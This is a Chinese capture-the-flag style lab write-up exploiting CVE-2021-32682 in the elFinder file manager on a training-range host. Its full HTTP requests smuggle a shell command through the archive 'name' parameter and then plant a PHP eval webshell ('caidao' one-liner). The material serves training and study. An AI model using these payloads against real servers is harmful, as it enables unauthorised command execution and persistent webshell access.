[春秋云镜]CVE-2021-32682

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

靶场介绍

elFinder 是一个开源的 web 文件管理器，使用 jQuery UI 用 Ja​vaScript 编写。Creation 的灵感来自于 Mac OS X 操作系统中使用的 Finder 程序的简单性和便利性。 其低版本中存在命令注入

春秋云镜开启靶场：

http://eci-2zej5qhqolmn9pwfipad.cloudeci1.ichunqiu.com/

 

点击elfinder.html

上传1.txt  1.txt内容为空

创建压缩包 命名为2.zip

 

 POC

GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: eci-2zej5qhqolmn9pwfipad.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1670068031,1670127405,1670217594,1670236837; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1670242506; PHPSESSID=lra53ti9bs3e8g387k3fupjjg0
Upgrade-Insecure-Requests: 1

 TvTT=id>shell.php执行的命令

 访问/files/shell.php 获取命令执行结果

 http://eci-2zej5qhqolmn9pwfipad.cloudeci1.ichunqiu.com/files/shell.php

 写入shell

GET /php/connector.minimal.php?cmd=archive&name=-TvTT=echo%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%27caidao%27%5D%29%3B%3F%3E%27>shell3.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: eci-2zej5qhqolmn9pwfipad.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1670068031,1670127405,1670217594,1670236837; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1670242506; PHPSESSID=lra53ti9bs3e8g387k3fupjjg0
Upgrade-Insecure-Requests: 1

echo '<?php @eval($_POST['caidao']);?>' 进行url编码

echo%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%27caidao%27%5D%29%3B%3F%3E%27

 

 webshell地址

http://eci-2zej5qhqolmn9pwfipad.cloudeci1.ichunqiu.com/files/shell3.php

成功获取flag